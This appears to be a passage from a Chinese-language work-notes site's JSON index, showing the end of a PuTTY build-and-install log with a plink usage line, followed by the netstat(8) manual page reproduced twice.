CMakeFiles/guiterminal.dir/config.c.o [ 55%] Building C object CMakeFiles/guiterminal.dir/dialog.c.o [ 55%] Linking C static library libguiterminal.a [ 55%] Built target guiterminal [ 55%] Building C object CMakeFiles/noterminal.dir/stubs/no-term.c.o [ 55%] Building C object CMakeFiles/noterminal.dir/ldisc.c.o [ 56%] Linking C static library libnoterminal.a [ 56%] Built target noterminal [ 56%] Building C object CMakeFiles/all-backends.dir/pinger.c.o [ 56%] Built target all-backends [ 56%] Building C object ssh/CMakeFiles/sftpcommon.dir/sftpcommon.c.o [ 56%] Built target sftpcommon [ 56%] Building C object CMakeFiles/sftpclient.dir/psftpcommon.c.o [ 57%] Building C object CMakeFiles/sftpclient.dir/ssh/sftp.c.o [ 57%] Building C object CMakeFiles/sftpclient.dir/unix/sftp.c.o [ 57%] Linking C static library libsftpclient.a [ 57%] Built target sftpclient [ 57%] Building C object CMakeFiles/otherbackends.dir/otherbackends/raw.c.o [ 58%] Building C object CMakeFiles/otherbackends.dir/otherbackends/rlogin.c.o [ 58%] Building C object CMakeFiles/otherbackends.dir/otherbackends/supdup.c.o [ 58%] Building C object CMakeFiles/otherbackends.dir/otherbackends/telnet.c.o [ 59%] Building C object CMakeFiles/otherbackends.dir/otherbackends/testback.c.o [ 59%] Building C object CMakeFiles/otherbackends.dir/unix/serial.c.o [ 59%] Linking C static library libotherbackends.a [ 59%] Built target otherbackends [ 59%] Building C object CMakeFiles/testcrypt.dir/test/testcrypt.c.o [ 59%] Building C object CMakeFiles/testcrypt.dir/sshpubk.c.o [ 60%] Building C object CMakeFiles/testcrypt.dir/ssh/crc-attack-detector.c.o [ 60%] Linking C executable testcrypt [ 60%] Built target testcrypt [ 60%] Building C object CMakeFiles/test_host_strfoo.dir/utils/host_strchr_internal.c.o [ 61%] Linking C executable test_host_strfoo [ 61%] Built target test_host_strfoo [ 61%] Building C object CMakeFiles/test_decode_utf8.dir/utils/decode_utf8.c.o [ 61%] Linking C executable test_decode_utf8 [ 61%] Built target test_decode_utf8 [ 61%] Building C object CMakeFiles/test_tree234.dir/utils/tree234.c.o [ 61%] Linking C executable test_tree234 [ 61%] Built target test_tree234 [ 61%] Building C object CMakeFiles/test_wildcard.dir/utils/wildcard.c.o [ 62%] Linking C executable test_wildcard [ 62%] Built target test_wildcard [ 62%] Building C object CMakeFiles/test_cert_expr.dir/utils/cert-expr.c.o [ 63%] Linking C executable test_cert_expr [ 63%] Built target test_cert_expr [ 63%] Building C object CMakeFiles/bidi_gettype.dir/terminal/bidi_gettype.c.o [ 64%] Linking C executable bidi_gettype [ 64%] Built target bidi_gettype [ 64%] Building C object CMakeFiles/bidi_test.dir/terminal/bidi_test.c.o [ 64%] Linking C executable bidi_test [ 64%] Built target bidi_test [ 65%] Building C object ssh/CMakeFiles/sshcommon.dir/bpp1.c.o [ 65%] Building C object ssh/CMakeFiles/sshcommon.dir/bpp2.c.o [ 65%] Building C object ssh/CMakeFiles/sshcommon.dir/bpp-bare.c.o [ 66%] Building C object ssh/CMakeFiles/sshcommon.dir/ca-config.c.o [ 66%] Building C object ssh/CMakeFiles/sshcommon.dir/censor1.c.o [ 66%] Building C object ssh/CMakeFiles/sshcommon.dir/censor2.c.o [ 66%] Building C object ssh/CMakeFiles/sshcommon.dir/common.c.o [ 67%] Building C object ssh/CMakeFiles/sshcommon.dir/connection1.c.o [ 67%] Building C object ssh/CMakeFiles/sshcommon.dir/connection2.c.o [ 67%] Building C object ssh/CMakeFiles/sshcommon.dir/crc-attack-detector.c.o [ 67%] Building C object ssh/CMakeFiles/sshcommon.dir/gssc.c.o [ 68%] Building C object ssh/CMakeFiles/sshcommon.dir/login1.c.o [ 68%] Building C object ssh/CMakeFiles/sshcommon.dir/pgssapi.c.o [ 68%] Building C object ssh/CMakeFiles/sshcommon.dir/portfwd.c.o [ 68%] Building C object ssh/CMakeFiles/sshcommon.dir/__/sshpubk.c.o [ 69%] Building C object ssh/CMakeFiles/sshcommon.dir/__/sshrand.c.o [ 69%] Building C object ssh/CMakeFiles/sshcommon.dir/transient-hostkey-cache.c.o [ 69%] Building C object ssh/CMakeFiles/sshcommon.dir/transport2.c.o [ 69%] Building C object ssh/CMakeFiles/sshcommon.dir/verstring.c.o [ 70%] Building C object ssh/CMakeFiles/sshcommon.dir/x11fwd.c.o [ 70%] Building C object ssh/CMakeFiles/sshcommon.dir/zlib.c.o [ 70%] Building C object ssh/CMakeFiles/sshcommon.dir/__/unix/noise.c.o [ 70%] Built target sshcommon [ 71%] Building C object ssh/CMakeFiles/sshclient.dir/agentf.c.o [ 71%] Building C object ssh/CMakeFiles/sshclient.dir/connection1-client.c.o [ 71%] Building C object ssh/CMakeFiles/sshclient.dir/connection2-client.c.o [ 71%] Building C object ssh/CMakeFiles/sshclient.dir/kex2-client.c.o [ 72%] Building C object ssh/CMakeFiles/sshclient.dir/mainchan.c.o [ 72%] Building C object ssh/CMakeFiles/sshclient.dir/sharing.c.o [ 72%] Building C object ssh/CMakeFiles/sshclient.dir/ssh.c.o [ 72%] Building C object ssh/CMakeFiles/sshclient.dir/userauth2-client.c.o [ 73%] Building C object ssh/CMakeFiles/sshclient.dir/__/unix/gss.c.o [ 73%] Building C object ssh/CMakeFiles/sshclient.dir/__/unix/agent-client.c.o [ 73%] Building C object ssh/CMakeFiles/sshclient.dir/__/unix/sharing.c.o [ 73%] Linking C static library libsshclient.a [ 73%] Built target sshclient [ 73%] Building C object CMakeFiles/plink-be-list.dir/be_list.c.o [ 73%] Built target plink-be-list [ 73%] Building C object CMakeFiles/plink.dir/unix/plink.c.o [ 73%] Building C object CMakeFiles/plink.dir/unix/no-gtk.c.o [ 74%] Linking C executable plink [ 74%] Built target plink [ 74%] Building C object CMakeFiles/pscp-be-list.dir/be_list.c.o [ 74%] Built target pscp-be-list [ 74%] Building C object CMakeFiles/pscp.dir/pscp.c.o [ 74%] Building C object CMakeFiles/pscp.dir/unix/no-gtk.c.o [ 75%] Linking C executable pscp [ 75%] Built target pscp [ 75%] Building C object CMakeFiles/psftp-be-list.dir/be_list.c.o [ 75%] Built target psftp-be-list [ 75%] Building C object CMakeFiles/psftp.dir/psftp.c.o [ 76%] Building C object CMakeFiles/psftp.dir/unix/no-gtk.c.o [ 76%] Linking C executable psftp [ 76%] Built target psftp [ 76%] Building C object CMakeFiles/psocks.dir/unix/psocks.c.o [ 77%] Building C object CMakeFiles/psocks.dir/psocks.c.o [ 77%] Building C object CMakeFiles/psocks.dir/stubs/no-rand.c.o [ 77%] Building C object CMakeFiles/psocks.dir/proxy/nocproxy.c.o [ 77%] Building C object CMakeFiles/psocks.dir/proxy/nosshproxy.c.o [ 78%] Building C object CMakeFiles/psocks.dir/ssh/portfwd.c.o [ 78%] Building C object CMakeFiles/psocks.dir/unix/no-gtk.c.o [ 78%] Linking C executable psocks [ 78%] Built target psocks [ 78%] Built target manpages [ 78%] Building C object ssh/CMakeFiles/sshserver.dir/connection1-server.c.o [ 79%] Building C object ssh/CMakeFiles/sshserver.dir/connection2-server.c.o [ 79%] Building C object ssh/CMakeFiles/sshserver.dir/kex2-server.c.o [ 79%] Building C object ssh/CMakeFiles/sshserver.dir/login1-server.c.o [ 80%] Building C object ssh/CMakeFiles/sshserver.dir/server.c.o [ 80%] Building C object ssh/CMakeFiles/sshserver.dir/sesschan.c.o [ 80%] Building C object ssh/CMakeFiles/sshserver.dir/sftpserver.c.o [ 80%] Building C object ssh/CMakeFiles/sshserver.dir/userauth2-server.c.o [ 81%] Building C object ssh/CMakeFiles/sshserver.dir/__/unix/sftpserver.c.o [ 81%] Building C object ssh/CMakeFiles/sshserver.dir/__/unix/procnet.c.o [ 81%] Linking C static library libsshserver.a [ 81%] Built target sshserver [ 81%] Building C object unix/CMakeFiles/puttyxpms.dir/putty-xpm.c.o [ 82%] Building C object unix/CMakeFiles/puttyxpms.dir/putty-config-xpm.c.o [ 82%] Linking C static library libputtyxpms.a [ 82%] Built target puttyxpms [ 82%] Building C object unix/CMakeFiles/ptermxpms.dir/pterm-xpm.c.o [ 83%] Building C object unix/CMakeFiles/ptermxpms.dir/pterm-config-xpm.c.o [ 83%] Linking C static library libptermxpms.a [ 83%] Built target ptermxpms [ 84%] Generating ../CMakeFiles/sbcsdat.c.tmp [ 84%] Updating sbcsdat.c [ 84%] Built target generated_sbcsdat_c [ 84%] Building C object charset/CMakeFiles/charset.dir/fromucs.c.o [ 84%] Building C object charset/CMakeFiles/charset.dir/localenc.c.o [ 84%] Building C object charset/CMakeFiles/charset.dir/macenc.c.o [ 85%] Building C object charset/CMakeFiles/charset.dir/mimeenc.c.o [ 85%] Building C object charset/CMakeFiles/charset.dir/sbcs.c.o [ 85%] Building C object charset/CMakeFiles/charset.dir/__/CMakeFiles/sbcsdat.c.o [ 85%] Building C object charset/CMakeFiles/charset.dir/slookup.c.o [ 86%] Building C object charset/CMakeFiles/charset.dir/toucs.c.o [ 86%] Building C object charset/CMakeFiles/charset.dir/utf8.c.o [ 86%] Building C object charset/CMakeFiles/charset.dir/xenc.c.o [ 87%] Linking C static library libcharset.a [ 87%] Built target charset [ 87%] Generating CMakeFiles/licence.h.tmp [ 87%] Updating licence.h [ 87%] Built target generated_licence_h [ 88%] Building C object unix/CMakeFiles/fuzzterm-be-list.dir/__/be_list.c.o [ 88%] Built target fuzzterm-be-list [ 88%] Building C object unix/CMakeFiles/fuzzterm.dir/__/test/fuzzterm.c.o [ 88%] Building C object unix/CMakeFiles/fuzzterm.dir/__/logging.c.o [ 89%] Building C object unix/CMakeFiles/fuzzterm.dir/__/stubs/no-print.c.o [ 89%] Building C object unix/CMakeFiles/fuzzterm.dir/unicode.c.o [ 89%] Building C object unix/CMakeFiles/fuzzterm.dir/no-gtk.c.o [ 89%] Linking C executable ../fuzzterm [ 89%] Built target fuzzterm [ 89%] Building C object unix/CMakeFiles/osxlaunch.dir/osxlaunch.c.o [ 89%] Linking C executable ../osxlaunch [ 89%] Built target osxlaunch [ 89%] Building C object unix/CMakeFiles/psusan-be-list.dir/__/be_list.c.o [ 89%] Built target psusan-be-list [ 89%] Building C object unix/CMakeFiles/psusan.dir/psusan.c.o [ 90%] Building C object unix/CMakeFiles/psusan.dir/__/stubs/no-gss.c.o [ 90%] Building C object unix/CMakeFiles/psusan.dir/__/ssh/scpserver.c.o [ 90%] Building C object unix/CMakeFiles/psusan.dir/no-gtk.c.o [ 90%] Building C object unix/CMakeFiles/psusan.dir/pty.c.o [ 91%] Linking C executable ../psusan [ 91%] Built target psusan [ 92%] Building C object unix/CMakeFiles/puttygen-common.dir/__/stubs/no-timing.c.o [ 92%] Building C object unix/CMakeFiles/puttygen-common.dir/keygen-noise.c.o [ 92%] Building C object unix/CMakeFiles/puttygen-common.dir/no-gtk.c.o [ 92%] Building C object unix/CMakeFiles/puttygen-common.dir/noise.c.o [ 93%] Building C object unix/CMakeFiles/puttygen-common.dir/storage.c.o [ 93%] Building C object unix/CMakeFiles/puttygen-common.dir/__/sshpubk.c.o [ 93%] Building C object unix/CMakeFiles/puttygen-common.dir/__/sshrand.c.o [ 93%] Built target puttygen-common [ 93%] Building C object unix/CMakeFiles/puttygen.dir/__/cmdgen.c.o [ 93%] Linking C executable ../puttygen [ 93%] Built target puttygen [ 93%] Building C object unix/CMakeFiles/cgtest.dir/__/cgtest.c.o [ 94%] Linking C executable ../cgtest [ 94%] Built target cgtest [ 94%] Building C object unix/CMakeFiles/overaligned_alloc.dir/__/utils/memory.c.o [ 94%] Built target overaligned_alloc [ 94%] Building C object unix/CMakeFiles/testsc.dir/__/test/testsc.c.o [ 94%] Linking C executable ../testsc [ 94%] Built target testsc [ 95%] Building C object unix/CMakeFiles/testzlib.dir/__/test/testzlib.c.o [ 95%] Building C object unix/CMakeFiles/testzlib.dir/__/ssh/zlib.c.o [ 95%] Linking C executable ../testzlib [ 95%] Built target testzlib [ 95%] Building C object unix/CMakeFiles/uppity-be-list.dir/__/be_list.c.o [ 95%] Built target uppity-be-list [ 95%] Building C object unix/CMakeFiles/uppity.dir/uppity.c.o [ 96%] Building C object unix/CMakeFiles/uppity.dir/__/ssh/scpserver.c.o [ 96%] Building C object unix/CMakeFiles/uppity.dir/no-gtk.c.o [ 96%] Building C object unix/CMakeFiles/uppity.dir/pty.c.o [ 96%] Building C object unix/CMakeFiles/uppity.dir/__/stubs/no-gss.c.o [ 97%] Linking C executable ../uppity [ 97%] Built target uppity [ 97%] Building C object unix/CMakeFiles/pageant-be-list.dir/__/be_list.c.o [ 97%] Built target pageant-be-list [ 98%] Building C object unix/CMakeFiles/pageant.dir/pageant.c.o [ 98%] Building C object unix/CMakeFiles/pageant.dir/__/stubs/no-gss.c.o [ 98%] Building C object unix/CMakeFiles/pageant.dir/x11.c.o [ 98%] Building C object unix/CMakeFiles/pageant.dir/noise.c.o [ 99%] Building C object unix/CMakeFiles/pageant.dir/__/ssh/x11fwd.c.o [ 99%] Building C object unix/CMakeFiles/pageant.dir/__/proxy/nosshproxy.c.o [ 99%] Building C object unix/CMakeFiles/pageant.dir/noaskpass.c.o [ 99%] Building C object unix/CMakeFiles/pageant.dir/no-gtk.c.o [100%] Linking C executable ../pageant [100%] Built target pageant Install the project... -- Install configuration: \"\" -- Installing: /usr/local/bin/plink -- Installing: /usr/local/share/man/man1/plink.1 -- Installing: /usr/local/bin/pscp -- Installing: /usr/local/share/man/man1/pscp.1 -- Installing: /usr/local/bin/psftp -- Installing: /usr/local/share/man/man1/psftp.1 -- Installing: /usr/local/bin/psusan -- Installing: /usr/local/share/man/man1/psusan.1 -- Installing: /usr/local/bin/puttygen -- Installing: /usr/local/share/man/man1/puttygen.1 -- Installing: /usr/local/bin/pageant -- Installing: /usr/local/share/man/man1/pageant.1 使用 # 1 plink -i ~/.ssh/[putty].ppk [user@]host ","title":"putty 編譯安裝","type":"worknot"},{"content":" 線上手冊內容 # 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 NETSTAT(8)\tLinux System Administrator\u0026#39;s Manual\tNETSTAT(8) NAME netstat - Print network connections, routing tables, interface statistics, masquerade connections, and multicast memberships SYNOPSIS netstat\t[address_family_options] [--tcp|-t] [--udp|-u] [--udplite|-U] [--sctp|-S] [--raw|-w] [--l2cap|-2]\t[--rfcomm|-f]\t[--listening|-l] [--all|-a] [--numeric|-n] [--numeric-hosts] [--nu‐ meric-ports] [--numeric-users] [--symbolic|-N] [--extend|-e[--extend|-e]] [--timers|-o] [--program|-p] [--verbose|-v] [--continuous|-c] [--wide|-W] netstat {--route|-r} [address_family_options] [--extend|-e[--extend|-e]] [--verbose|-v] [--numeric|-n] [--numeric-hosts] [--numeric-ports] [--numeric-users] [--continuous|-c] netstat {--interfaces|-i} [--all|-a] [--extend|-e[--extend|-e]] [--verbose|-v] [--program|-p] [--numeric|-n] [--numeric-hosts] [--numeric-ports] [--numeric-users] [--continuous|-c] netstat {--groups|-g} [--numeric|-n] [--numeric-hosts] [--numeric-ports] [--numeric-users] [--continuous|-c] netstat {--masquerade|-M} [--extend|-e] [--numeric|-n] [--numeric-hosts] [--numeric-ports] [--numeric-users] [--continuous|-c] netstat {--statistics|-s} [--tcp|-t] [--udp|-u] [--udplite|-U] [--sctp|-S] [--raw|-w] netstat {--version|-V} netstat {--help|-h} address_family_options: [-4|--inet] [-6|--inet6] [--protocol={inet,inet6,unix,ipx,ax25,netrom,ddp,bluetooth, ... } ] [--unix|-x] [--inet|--ip|--tcpip] [--ax25] [--x25] [--rose]\t[--ash] [--bluetooth]\t[--ipx] [--netrom] [--ddp|--appletalk] [--econet|--ec] NOTES This program is mostly obsolete.\tReplacement for netstat is ss.\tReplacement for netstat -r is ip route. Replacement for netstat -i is ip -s link. Replacement for netstat -g is ip maddr. DESCRIPTION Netstat prints information about the Linux networking subsystem.\tThe type of information printed is controlled by the first argument, as follows: (none) By default, netstat displays a list of open sockets. If you don\u0026#39;t specify any address families, then the active sockets of all configured address families will be printed. --route, -r Display the kernel routing tables. See the description in route(8) for details.\tnetstat -r and route -e produce the same output. --groups, -g Display multicast group membership information for IPv4 and IPv6. --interfaces, -i Display a table of all network interfaces. --masquerade, -M Display a list of masqueraded connections. --statistics, -s Display summary statistics for each protocol. OPTIONS --verbose, -v Tell the user what is going on by being verbose. Especially print some useful information about unconfigured address families. --wide, -W Do not truncate IP addresses by using output as wide as needed. This is optional for now to not break existing scripts. --numeric, -n Show numerical addresses instead of trying to determine symbolic host, port or user names. --numeric-hosts shows numerical host addresses but does not affect the resolution of port or user names. --numeric-ports shows numerical port numbers but does not affect the resolution of host or user names. --numeric-users shows numerical user IDs but does not affect the resolution of host or port names. --protocol=family, -A Specifies the address families (perhaps better described as low level protocols) for which connections are to be shown.\tfamily is a comma (\u0026#39;,\u0026#39;) separated list of address family keywords like inet, inet6, unix, ipx, ax25, netrom, econet, ddp, and bluetooth. This has the same effect as using the --inet|-4, --inet6|-6, --unix|-x, --ipx, --ax25, --netrom, --ddp, and --bluetooth options. The address family inet (Iv4) includes raw, udp, udplite and tcp protocol sockets. The address family bluetooth (Iv4) includes l2cap and rfcomm protocol sockets. -c, --continuous This will cause netstat to print the selected information every second continuously. -e, --extend Display additional information.\tUse this option twice for maximum detail. -o, --timers Include information related to networking timers. -p, --program Show the PID and name of the program to which each socket belongs. -l, --listening Show only listening sockets. (These are omitted by default.) -a, --all Show both listening and non-listening sockets. With the --interfaces option, show interfaces that are not up -F Print routing information from the FIB.\t(This is the default.) -C Print routing information from the route cache. OUTPUT Active Internet connections (TCP, UDP, UDPLite, raw) Proto The protocol (tcp, udp, udpl, raw) used by the socket. Recv-Q Established: The count of bytes not copied by the user program connected to this socket.\tListening: Since Kernel 2.6.18 this column contains the current syn backlog. Send-Q Established: The count of bytes not acknowledged by the remote host. Listening: Since Kernel 2.6.18 this column contains the maximum size of the syn backlog. Local Address Address and port number of the local end of the socket.\tUnless the --numeric (-n) option is specified, the socket address is resolved to its canonical host name (FQDN), and the port number is translated into the corresponding service name. Foreign Address Address and port number of the remote end of the socket.\tAnalogous to \u0026#34;Local Address\u0026#34;. State The state of the socket. Since there are no states in raw mode and usually no states used in UDP and UDPLite, this column may be left blank. Normally this can be one of several values: ESTABLISHED The socket has an established connection. SYN_SENT The socket is actively attempting to establish a connection. SYN_RECV A connection request has been received from the network. FIN_WAIT1 The socket is closed, and the connection is shutting down. FIN_WAIT2 Connection is closed, and the socket is waiting for a shutdown from the remote end. TIME_WAIT The socket is waiting after close to handle packets still in the network. CLOSE The socket is not being used. CLOSE_WAIT The remote end has shut down, waiting for the socket to close. LAST_ACK The remote end has shut down, and the socket is closed. Waiting for acknowledgement. LISTEN The socket is listening for incoming connections.\tSuch sockets are not included in the output unless you specify the --listening (-l) or --all (-a) option. CLOSING Both sockets are shut down but we still don\u0026#39;t have all our data sent. UNKNOWN The state of the socket is unknown. User The username or the user id (UID) of the owner of the socket. PID/Program name Slash-separated pair of the process id (PID) and process name of the process that owns the socket. --program causes this column to be included.\tYou will also need superuser privileges to see this information on sockets you don\u0026#39;t own. This identification information is not yet available for IPX sockets. Timer (this needs to be written) Active UNIX domain Sockets Proto The protocol (usually unix) used by the socket. RefCnt The reference count (i.e. attached processes via this socket). Flags The flags displayed is SO_ACCEPTON (displayed as ACC), SO_WAITDATA (W) or SO_NOSPACE (N). SO_ACCECPTON is used on unconnected sockets if their corresponding processes are waiting for a connect re‐ quest. The other flags are not of normal interest. Type There are several types of socket access: SOCK_DGRAM The socket is used in Datagram (connectionless) mode. SOCK_STREAM This is a stream (connection) socket. SOCK_RAW The socket is used as a raw socket. SOCK_RDM This one serves reliably-delivered messages. SOCK_SEQPACKET This is a sequential packet socket. SOCK_PACKET Raw interface access socket. UNKNOWN Who ever knows what the future will bring us - just fill in here :-) State This field will contain one of the following Keywords: FREE The socket is not allocated LISTENING The socket is listening for a connection request.\tSuch sockets are only included in the output if you specify the --listening (-l) or --all (-a) option. CONNECTING The socket is about to establish a connection. CONNECTED The socket is connected. DISCONNECTING The socket is disconnecting. (empty) The socket is not connected to another one. UNKNOWN This state should never happen. PID/Program name Process ID (PID) and process name of the process that has the socket open. More info available in Active Internet connections section written above. Path This is the path name as which the corresponding processes attached to the socket. Active IPX sockets (this needs to be done by somebody who knows it) Active NET/ROM sockets (this needs to be done by somebody who knows it) Active AX.25 sockets (this needs to be done by somebody who knows it) FILES /etc/services -- The services translation file /proc -- Mount point for the proc filesystem, which gives access to kernel status information via the following files. /proc/net/dev -- device information /proc/net/raw -- raw socket information /proc/net/tcp -- TCP socket information /proc/net/udp -- UDP socket information /proc/net/udplite -- UDPLite socket information /proc/net/igmp -- IGMP multicast information /proc/net/unix -- Unix domain socket information /proc/net/ipx -- IPX socket information /proc/net/ax25 -- AX25 socket information /proc/net/appletalk -- DDP (appletalk) socket information /proc/net/nr -- NET/ROM socket information /proc/net/route -- IP routing information /proc/net/ax25_route -- AX25 routing information /proc/net/ipx_route -- IPX routing information /proc/net/nr_nodes -- NET/ROM nodelist /proc/net/nr_neigh -- NET/ROM neighbours /proc/net/ip_masquerade -- masqueraded connections /sys/kernel/debug/bluetooth/l2cap -- Bluetooth L2CAP information /sys/kernel/debug/bluetooth/rfcomm -- Bluetooth serial connections /proc/net/snmp -- statistics SEE ALSO route(8), ifconfig(8), iptables(8), proc(5) ss(8) ip(8) BUGS Occasionally strange information may appear if a socket changes as it is viewed. This is unlikely to occur. AUTHORS The netstat user interface was written by\tFred Baumgarten \u0026lt;dc6iq@insu1.etec.uni-karlsruhe.de\u0026gt;,\tthe man page\tbasically by Matt Welsh \u0026lt;mdw@tc.cornell.edu\u0026gt;. It was updated by Alan Cox \u0026lt;Alan.Cox@linux.org\u0026gt;, updated again by Tuan Hoang \u0026lt;tqhoang@bigfoot.com\u0026gt;. The man page and the command included in the net-tools package is totally rewritten by Bernd Eckenfels \u0026lt;ecki@linux.de\u0026gt;.\tUD‐ PLite options were added by Brian Micek \u0026lt;bmicek@gmail.com\u0026gt; net-tools\t2014-10-07\tNETSTAT(8) ","date":"June 3, 2024","externalUrl":null,"permalink":"/worknot/linux-cli-netstat/","section":"Worknots","summary":"線上手冊內容 # 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 NETSTAT(8)\tLinux System Administrator's Manual\tNETSTAT(8) NAME netstat - Print network connections, routing tables, interface statistics, masquerade connections, and multicast memberships SYNOPSIS netstat\t[address_family_options] [--tcp|-t] [--udp|-u] [--udplite|-U] [--sctp|-S] [--raw|-w] [--l2cap|-2]\t[--rfcomm|-f]\t[--listening|-l] [--all|-a] [--numeric|-n] [--numeric-hosts] [--nu‐ meric-ports] [--numeric-users] [--symbolic|-N] [--extend|-e[--extend|-e]] [--timers|-o] [--program|-p] [--verbose|-v] [--continuous|-c] [--wide|-W] netstat {--route|-r} [address_family_options] [--extend|-e[--extend|-e]] [--verbose|-v] [--numeric|-n] [--numeric-hosts] [--numeric-ports] [--numeric-users] [--continuous|-c] netstat {--interfaces|-i} [--all|-a] [--extend|-e[--extend|-e]] [--verbose|-v] [--program|-p] [--numeric|-n] [--numeric-hosts] [--numeric-ports] [--numeric-users] [--continuous|-c] netstat {--groups|-g} [--numeric|-n] [--numeric-hosts] [--numeric-ports] [--numeric-users] [--continuous|-c] netstat {--masquerade|-M} [--extend|-e] [--numeric|-n] [--numeric-hosts] [--numeric-ports] [--numeric-users] [--continuous|-c] netstat {--statistics|-s} [--tcp|-t] [--udp|-u] [--udplite|-U] [--sctp|-S] [--raw|-w] netstat {--version|-V} netstat {--help|-h} address_family_options: [-4|--inet] [-6|--inet6] [--protocol={inet,inet6,unix,ipx,ax25,netrom,ddp,bluetooth, ... } ] [--unix|-x] [--inet|--ip|--tcpip] [--ax25] [--x25] [--rose]\t[--ash] [--bluetooth]\t[--ipx] [--netrom] [--ddp|--appletalk] [--econet|--ec] NOTES This program is mostly obsolete.\tReplacement for netstat is ss.\tReplacement for netstat -r is ip route. Replacement for netstat -i is ip -s link. Replacement for netstat -g is ip maddr. DESCRIPTION Netstat prints information about the Linux networking subsystem.\tThe type of information printed is controlled by the first argument, as follows: (none) By default, netstat displays a list of open sockets. If you don't specify any address families, then the active sockets of all configured address families will be printed. --route, -r Display the kernel routing tables. See the description in route(8) for details.\tnetstat -r and route -e produce the same output. --groups, -g Display multicast group membership information for IPv4 and IPv6. --interfaces, -i Display a table of all network interfaces. --masquerade, -M Display a list of masqueraded connections. --statistics, -s Display summary statistics for each protocol. OPTIONS --verbose, -v Tell the user what is going on by being verbose. Especially print some useful information about unconfigured address families. --wide, -W Do not truncate IP addresses by using output as wide as needed. This is optional for now to not break existing scripts. --numeric, -n Show numerical addresses instead of trying to determine symbolic host, port or user names. --numeric-hosts shows numerical host addresses but does not affect the resolution of port or user names. --numeric-ports shows numerical port numbers but does not affect the resolution of host or user names. --numeric-users shows numerical user IDs but does not affect the resolution of host or port names. --protocol=family, -A Specifies the address families (perhaps better described as low level protocols) for which connections are to be shown.\tfamily is a comma (',') separated list of address family keywords like inet, inet6, unix, ipx, ax25, netrom, econet, ddp, and bluetooth. This has the same effect as using the --inet|-4, --inet6|-6, --unix|-x, --ipx, --ax25, --netrom, --ddp, and --bluetooth options. The address family inet (Iv4) includes raw, udp, udplite and tcp protocol sockets. The address family bluetooth (Iv4) includes l2cap and rfcomm protocol sockets. -c, --continuous This will cause netstat to print the selected information every second continuously. -e, --extend Display additional information.\tUse this option twice for maximum detail. -o, --timers Include information related to networking timers. -p, --program Show the PID and name of the program to which each socket belongs. -l, --listening Show only listening sockets. (These are omitted by default.) -a, --all Show both listening and non-listening sockets. With the --interfaces option, show interfaces that are not up -F Print routing information from the FIB.\t(This is the default.) -C Print routing information from the route cache. OUTPUT Active Internet connections (TCP, UDP, UDPLite, raw) Proto The protocol (tcp, udp, udpl, raw) used by the socket. Recv-Q Established: The count of bytes not copied by the user program connected to this socket.\tListening: Since Kernel 2.6.18 this column contains the current syn backlog. Send-Q Established: The count of bytes not acknowledged by the remote host. Listening: Since Kernel 2.6.18 this column contains the maximum size of the syn backlog. Local Address Address and port number of the local end of the socket.\tUnless the --numeric (-n) option is specified, the socket address is resolved to its canonical host name (FQDN), and the port number is translated into the corresponding service name. Foreign Address Address and port number of the remote end of the socket.\tAnalogous to \"Local Address\". State The state of the socket. Since there are no states in raw mode and usually no states used in UDP and UDPLite, this column may be left blank. Normally this can be one of several values: ESTABLISHED The socket has an established connection. SYN_SENT The socket is actively attempting to establish a connection. SYN_RECV A connection request has been received from the network. FIN_WAIT1 The socket is closed, and the connection is shutting down. FIN_WAIT2 Connection is closed, and the socket is waiting for a shutdown from the remote end. TIME_WAIT The socket is waiting after close to handle packets still in the network. CLOSE The socket is not being used. CLOSE_WAIT The remote end has shut down, waiting for the socket to close. LAST_ACK The remote end has shut down, and the socket is closed. Waiting for acknowledgement. LISTEN The socket is listening for incoming connections.\tSuch sockets are not included in the output unless you specify the --listening (-l) or --all (-a) option. CLOSING Both sockets are shut down but we still don't have all our data sent. UNKNOWN The state of the socket is unknown. User The username or the user id (UID) of the owner of the socket. PID/Program name Slash-separated pair of the process id (PID) and process name of the process that owns the socket. --program causes this column to be included.\tYou will also need superuser privileges to see this information on sockets you don't own. This identification information is not yet available for IPX sockets. Timer (this needs to be written) Active UNIX domain Sockets Proto The protocol (usually unix) used by the socket. RefCnt The reference count (i.e. attached processes via this socket). Flags The flags displayed is SO_ACCEPTON (displayed as ACC), SO_WAITDATA (W) or SO_NOSPACE (N). SO_ACCECPTON is used on unconnected sockets if their corresponding processes are 